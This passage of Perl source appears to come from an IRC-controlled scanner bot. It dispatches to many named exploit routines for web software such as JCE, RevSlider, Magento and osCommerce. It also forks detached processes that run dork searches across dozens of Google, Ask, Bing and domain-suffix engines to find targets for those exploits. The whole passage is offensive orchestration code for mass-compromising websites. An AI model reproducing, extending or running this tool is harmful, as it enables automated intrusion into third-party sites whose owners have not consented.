  1148.     elsif ($type == 6){$type=&zen_sql($chan,$bug,$dork,$engine,$nick);}
  1149.     elsif ($type == 7){$type=&jce_exploit($chan,$bug,$dork,$engine,$nick);}
  1150.     elsif ($type == 8){$type=&xml_exploit($chan,$bug,$dork,$engine,$nick);}
  1151.     elsif ($type == 9){$type=&clip_exploit($chan,$bug,$dork,$engine,$nick);}
  1152.     elsif ($type == 10){$type=&red_exploit($chan,$bug,$dork,$engine,$nick);}
  1153.     elsif ($type == 11){$type=&whm_exploit($chan,$bug,$dork,$engine,$nick);}
  1154.     elsif ($type == 12){$type=&live_exploit($chan,$bug,$dork,$engine,$nick);}
  1155.     elsif ($type == 13){$type=&reflex_exploit($chan,$bug,$dork,$engine,$nick);}
  1156.     elsif ($type == 14){$type=&osco_exploit($chan,$bug,$dork,$engine,$nick);}
  1157.     elsif ($type == 15){$type=&switch_exploit($chan,$bug,$dork,$engine,$nick);}
  1158.     elsif ($type == 16){$type=&photo_exploit($chan,$bug,$dork,$engine,$nick);}
  1159.     elsif ($type == 17){$type=&elemin_exploit($chan,$bug,$dork,$engine,$nick);}
  1160.     elsif ($type == 18){$type=&RevSlider_exploit($chan,$bug,$dork,$engine,$nick);}
  1161.     elsif ($type == 18){$type=&RevSlider2_exploit($chan,$bug,$dork,$engine,$nick);}
  1162.     elsif ($type == 19){$type=&folio_exploit($chan,$bug,$dork,$engine,$nick);}
  1163.     elsif ($type == 20){$type=&rci_exploit($chan,$bug,$dork,$engine,$nick);}
  1164.     elsif ($type == 21){$type=&up_exploit($chan,$bug,$dork,$engine,$nick);}
  1165.     elsif ($type == 22){$type=&jinc_exploit($chan,$bug,$dork,$engine,$nick);}
  1166.     elsif ($type == 23){$type=&jnews_exploit($chan,$bug,$dork,$engine,$nick);}
  1167.     elsif ($type == 24){$type=&osco2_exploit($chan,$bug,$dork,$engine,$nick);}
  1168.     elsif ($type == 25){$type=&rev_exploit($chan,$bug,$dork,$engine,$nick);}
  1169.     elsif ($type == 26){$type=&magento($chan,$bug,$dork,$engine,$nick);}
  1170.     elsif ($type == 27){$type=&magmi_exploit($chan,$bug,$dork,$engine,$nick);}
  1171.     elsif ($type == 28){$type=&jdl_exploit($chan,$bug,$dork,$engine,$nick);}   
  1172.     elsif ($type == 29){$type=&fab_exploit($chan,$bug,$dork,$engine,$nick);}
  1173.     elsif ($type == 30){$type=&flexi_exploit($chan,$bug,$dork,$engine,$nick);}
  1174.     elsif ($type == 31){$type=&jmulti_exploit($chan,$bug,$dork,$engine,$nick);}
  1175.     elsif ($type == 32){$type=&alpha_exploit($chan,$bug,$dork,$engine,$nick);} 
  1176.     elsif ($type == 33){$type=&act_exploit($chan,$bug,$dork,$engine,$nick);}
  1177.     elsif ($type == 34){$type=&hornot_exploit($chan,$bug,$dork,$engine,$nick);}
  1178. }
  1179.  
  1180. ##################################################################################
  1181.  
  1182. sub se_start() {
  1183. my ($chan,$bug,$dork,$engine,$type,$nick) = @_;
  1184.     if ($engine =~ /googleCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCA",$type,$nick); } exit; } }
  1185.     if ($engine =~ /googleDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDE",$type,$nick); } exit; } }
  1186.     if ($engine =~ /googleUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUK",$type,$nick); } exit; } }
  1187.     if ($engine =~ /googleFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeFR",$type,$nick); } exit; } }
  1188.     if ($engine =~ /googleES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeES",$type,$nick); } exit; } }
  1189.     if ($engine =~ /googleIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIT",$type,$nick); } exit; } }
  1190.     if ($engine =~ /googleNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNL",$type,$nick); } exit; } }
  1191.     if ($engine =~ /googleBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBE",$type,$nick); } exit; } }
  1192.     if ($engine =~ /googleCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCH",$type,$nick); } exit; } }
  1193.     if ($engine =~ /googleSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSE",$type,$nick); } exit; } }
  1194.     if ($engine =~ /googleDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDK",$type,$nick); } exit; } }
  1195.     if ($engine =~ /googleNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNO",$type,$nick); } exit; } }
  1196.     if ($engine =~ /googleNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNZ",$type,$nick); } exit; } }
  1197.     if ($engine =~ /googleIE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIE",$type,$nick); } exit; } }
  1198.     if ($engine =~ /googleBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBR",$type,$nick); } exit; } }
  1199.     if ($engine =~ /googleAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAR",$type,$nick); } exit; } }
  1200.     if ($engine =~ /googleCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCO",$type,$nick); } exit; } }
  1201.     if ($engine =~ /googleCU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCU",$type,$nick); } exit; } }
  1202.     if ($engine =~ /googleCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCL",$type,$nick); } exit; } }
  1203.     if ($engine =~ /googleMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMX",$type,$nick); } exit; } }
  1204.     if ($engine =~ /googleAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAU",$type,$nick); } exit; } }
  1205.     if ($engine =~ /googleRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeRU",$type,$nick); } exit; } }
  1206.     if ($engine =~ /googleAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAT",$type,$nick); } exit; } }
  1207.     if ($engine =~ /googlePL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePL",$type,$nick); } exit; } }
  1208.     if ($engine =~ /googleIL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIL",$type,$nick); } exit; } }
  1209.     if ($engine =~ /googleTR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTR",$type,$nick); } exit; } }
  1210.     if ($engine =~ /googleUA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUA",$type,$nick); } exit; } }
  1211.     if ($engine =~ /googleGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeGR",$type,$nick); } exit; } }
  1212.     if ($engine =~ /googleJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeJP",$type,$nick); } exit; } }
  1213.     if ($engine =~ /googleCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCN",$type,$nick); } exit; } }
  1214.     if ($engine =~ /googleMY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMY",$type,$nick); } exit; } }
  1215.     if ($engine =~ /googleTH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTH",$type,$nick); } exit; } }
  1216.     if ($engine =~ /googleIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIN",$type,$nick); } exit; } }
  1217.     if ($engine =~ /googleKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeKR",$type,$nick); } exit; } }
  1218.     if ($engine =~ /googleRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeRO",$type,$nick); } exit; } }
  1219.     if ($engine =~ /googleTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTW",$type,$nick); } exit; } }
  1220.     if ($engine =~ /googleZA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeZA",$type,$nick); } exit; } }
  1221.     if ($engine =~ /googlePT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePT",$type,$nick); } exit; } }
  1222.     if ($engine =~ /askCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKCA",$type,$nick); } exit; } }
  1223.     if ($engine =~ /askDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKDE",$type,$nick); } exit; } }
  1224.     if ($engine =~ /askIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKIT",$type,$nick); } exit; } }
  1225.     if ($engine =~ /askFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKFR",$type,$nick); } exit; } }
  1226.     if ($engine =~ /askES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKES",$type,$nick); } exit; } }
  1227.     if ($engine =~ /askRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKRU",$type,$nick); } exit; } }
  1228.     if ($engine =~ /askNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKNL",$type,$nick); } exit; } }
  1229.     if ($engine =~ /askUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKUK",$type,$nick); } exit; } }
  1230.     if ($engine =~ /askBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKBR",$type,$nick); } exit; } }
  1231.     if ($engine =~ /askPL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKPL",$type,$nick); } exit; } }
  1232.     if ($engine =~ /askAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKAU",$type,$nick); } exit; } }
  1233.     if ($engine =~ /askAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKAT",$type,$nick); } exit; } }
  1234.     if ($engine =~ /askJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKJP",$type,$nick); } exit; } }
  1235.     if ($engine =~ /askSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKSE",$type,$nick); } exit; } }
  1236.     if ($engine =~ /askMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKMX",$type,$nick); } exit; } }
  1237.     if ($engine =~ /askNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKNO",$type,$nick); } exit; } }
  1238.     if ($engine =~ /askDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKDK",$type,$nick); } exit; } }
  1239.     if ($engine =~ /bingDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingDE",$type,$nick); } exit; } }
  1240.     if ($engine =~ /bingUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingUK",$type,$nick); } exit; } }
  1241.     if ($engine =~ /bingCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCA",$type,$nick); } exit; } }
  1242.     if ($engine =~ /bingBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBR",$type,$nick); } exit; } }
  1243.     if ($engine =~ /bingFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingFR",$type,$nick); } exit; } }
  1244.     if ($engine =~ /bingES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingES",$type,$nick); } exit; } }
  1245.     if ($engine =~ /bingIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingIT",$type,$nick); } exit; } }
  1246.     if ($engine =~ /bingBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBE",$type,$nick); } exit; } }
  1247.     if ($engine =~ /bingNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNL",$type,$nick); } exit; } }
  1248.     if ($engine =~ /bingPT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingPT",$type,$nick); } exit; } }
  1249.     if ($engine =~ /bingNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNO",$type,$nick); } exit; } }
  1250.     if ($engine =~ /bingDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingDK",$type,$nick); } exit; } }
  1251.     if ($engine =~ /bingSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingSE",$type,$nick); } exit; } }
  1252.     if ($engine =~ /bingCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCH",$type,$nick); } exit; } }
  1253.     if ($engine =~ /bingNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNZ",$type,$nick); } exit; } }
  1254.     if ($engine =~ /bingRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingRU",$type,$nick); } exit; } }
  1255.     if ($engine =~ /bingJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingJP",$type,$nick); } exit; } }
  1256.     if ($engine =~ /bingCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCN",$type,$nick); } exit; } }
  1257.     if ($engine =~ /bingKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingKR",$type,$nick); } exit; } }
  1258.     if ($engine =~ /bingMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingMX",$type,$nick); } exit; } }
  1259.     if ($engine =~ /bingAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingAR",$type,$nick); } exit; } }
  1260.     if ($engine =~ /bingCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCL",$type,$nick); } exit; } }
  1261.     if ($engine =~ /bingAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingAU",$type,$nick); } exit; } }
  1262.     if ($engine =~ /ae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AE",$type,$nick); } exit; } }
  1263.     if ($engine =~ /ar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AR",$type,$nick); } exit; } }
  1264.     if ($engine =~ /at/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AT",$type,$nick); } exit; } }
  1265.     if ($engine =~ /au/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AU",$type,$nick); } exit; } }
  1266.     if ($engine =~ /br/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BR",$type,$nick); } exit; } }
  1267.     if ($engine =~ /ca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CA",$type,$nick); } exit; } }
  1268.     if ($engine =~ /cl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CL",$type,$nick); } exit; } }
  1269.     if ($engine =~ /cn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CN",$type,$nick); } exit; } }
  1270.     if ($engine =~ /com/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CoM",$type,$nick); } exit; } }
  1271.     if ($engine =~ /cz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CZ",$type,$nick); } exit; } }
  1272.     if ($engine =~ /de/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DE",$type,$nick); } exit; } }
  1273.     if ($engine =~ /dk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DK",$type,$nick); } exit; } }
  1274.     if ($engine =~ /es/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ES",$type,$nick); } exit; } }
  1275.     if ($engine =~ /eu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EU",$type,$nick); } exit; } }
  1276.     if ($engine =~ /fr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FR",$type,$nick); } exit; } }
  1277.     if ($engine =~ /hu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HU",$type,$nick); } exit; } }
  1278.     if ($engine =~ /id/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ID",$type,$nick); } exit; } }
  1279.     if ($engine =~ /il/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IL",$type,$nick); } exit; } }
  1280.     if ($engine =~ /in/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IN",$type,$nick); } exit; } }
  1281.     if ($engine =~ /info/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"InfO",$type,$nick); } exit; } }
  1282.     if ($engine =~ /ir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IR",$type,$nick); } exit; } }
  1283.     if ($engine =~ /it/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IT",$type,$nick); } exit; } }
  1284.     if ($engine =~ /jp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JP",$type,$nick); } exit; } }
  1285.     if ($engine =~ /kr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KR",$type,$nick); } exit; } }
  1286.     if ($engine =~ /mx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MX",$type,$nick); } exit; } }
  1287.     if ($engine =~ /my/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MY",$type,$nick); } exit; } }
  1288.     if ($engine =~ /net/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NeT",$type,$nick); } exit; } }
  1289.     if ($engine =~ /nl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NL",$type,$nick); } exit; } }
  1290.     if ($engine =~ /org/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OrG",$type,$nick); } exit; } }
  1291.     if ($engine =~ /ph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PH",$type,$nick); } exit; } }
  1292.     if ($engine =~ /pl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PL",$type,$nick); } exit; } }
  1293.     if ($engine =~ /ro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RO",$type,$nick); } exit; } }
  1294.     if ($engine =~ /ru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RU",$type,$nick); } exit; } }  
  1295.     if ($engine =~ /th/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TH",$type,$nick); } exit; } }
  1296.     if ($engine =~ /ua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UA",$type,$nick); } exit; } }
  1297.     if ($engine =~ /uk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UK",$type,$nick); } exit; } }
  1298.     if ($engine =~ /us/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"US",$type,$nick); } exit; } }
  1299.     if ($engine =~ /si/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SI",$type,$nick); } exit; } }
  1300.     if ($engine =~ /be/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BE",$type,$nick); } exit; } }
  1301.     if ($engine =~ /biz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BIZ",$type,$nick); } exit; } }
  1302.     if ($engine =~ /xxx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"XXX",$type,$nick); } exit; } }
  1303.     if ($engine =~ /tel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TEL",$type,$nick); } exit; } }
  1304.     if ($engine =~ /tv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TV",$type,$nick); } exit; } }
  1305.     if ($engine =~ /cc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CC",$type,$nick); } exit; } }
  1306.     if ($engine =~ /mil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MIL",$type,$nick); } exit; } }
  1307.     if ($engine =~ /asia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ASIA",$type,$nick); } exit; } }
  1308.     if ($engine =~ /name/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NAME",$type,$nick); } exit; } }
  1309.     if ($engine =~ /pro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PRO",$type,$nick); } exit; } }
  1310.     if ($engine =~ /travel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TRAVEL",$type,$nick); } exit; } }
  1311.     if ($engine =~ /cat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CAT",$type,$nick); } exit; } }
  1312.     if ($engine =~ /jobs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JOBS",$type,$nick); } exit; } }
  1313.     if ($engine =~ /mobi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MOBI",$type,$nick); } exit; } }
  1314.     if ($engine =~ /aero/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AERO",$type,$nick); } exit; } }
  1315.     if ($engine =~ /coop/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"COOP",$type,$nick); } exit; } }
  1316.     if ($engine =~ /edu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EDU",$type,$nick); } exit; } }
  1317.     if ($engine =~ /gov/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GOV",$type,$nick); } exit; } }
  1318.     if ($engine =~ /as/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AS",$type,$nick); } exit; } }
  1319.     if ($engine =~ /ai/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AI",$type,$nick); } exit; } }
  1320.     if ($engine =~ /ag/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AG",$type,$nick); } exit; } }
  1321.     if ($engine =~ /az/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AZ",$type,$nick); } exit; } }
  1322.     if ($engine =~ /bh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BH",$type,$nick); } exit; } }
  1323.     if ($engine =~ /bd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BD",$type,$nick); } exit; } }
  1324.     if ($engine =~ /bz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BZ",$type,$nick); } exit; } }
  1325.     if ($engine =~ /bo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BO",$type,$nick); } exit; } }
  1326.     if ($engine =~ /ba/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BA",$type,$nick); } exit; } }
  1327.     if ($engine =~ /bw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BW",$type,$nick); } exit; } }
  1328.     if ($engine =~ /vg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VG",$type,$nick); } exit; } }
  1329.     if ($engine =~ /bg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BG",$type,$nick); } exit; } }
